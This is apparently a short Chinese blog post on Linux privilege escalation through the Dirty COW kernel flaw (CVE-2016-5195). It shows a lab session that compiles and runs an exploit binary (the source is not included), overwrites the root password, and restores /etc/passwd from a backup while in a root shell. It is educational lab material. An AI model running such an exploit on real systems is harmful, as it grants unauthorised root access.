Linux提权系列 - 内核攻击之Dirty COW

273 阅读1分钟

概述

在Linux的进化过程中,某些版本的内核代码存在特定的可用于提权的缺陷,在早期的包括Android在内的所有基于Linux的操作系统中,Dirty COW(CVE-2016-5195)就是其中一个广为人知的例子。

通过内核缺陷进行提权的过程往往需要在目标系统上编译并运行相应的提权代码,这里提供了一个针对Dirty COW的C++代码。

编译运行过程如下

示例

test@lab-VirtualBox:~$ id
uid=1001(test) gid=1001(test) groups=1001(test)

test@lab-VirtualBox:~$ ls -alrt
total 44
-rw-r--r-- 1 test test  8980 Oct  4  2013 examples.desktop
-rw-r--r-- 1 test test   675 Apr  9  2014 .profile
-rw-r--r-- 1 test test  3637 Apr  9  2014 .bashrc
-rw-r--r-- 1 test test   220 Apr  9  2014 .bash_logout
drwxr-xr-x 4 root root  4096 Sep 28 22:29 ..
-rw-rw-r-- 1 test test 10531 Sep 28 22:36 dcow.cpp
drwxr-xr-x 2 test test  4096 Sep 28 22:36 .

test@lab-VirtualBox:~$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
test@lab-VirtualBox:~$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun
 
Received su prompt (Password: )
 
root@lab-VirtualBox:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lab-VirtualBox:~# cp /tmp/.ssh_bak /etc/passwd
root@lab-VirtualBox:~# rm /tmp/.ssh_bak
root@lab-VirtualBox:~# id
uid=0(root) gid=0(root) groups=0(root)
root@lab-VirtualBox:~# 
#

实战

在Virtual Box上使用以下的安装文件创建一个Ubuntu 14.04.1的虚拟机环境,可用于复现以上的提权过程。

old-releases.ubuntu.com/releases/14…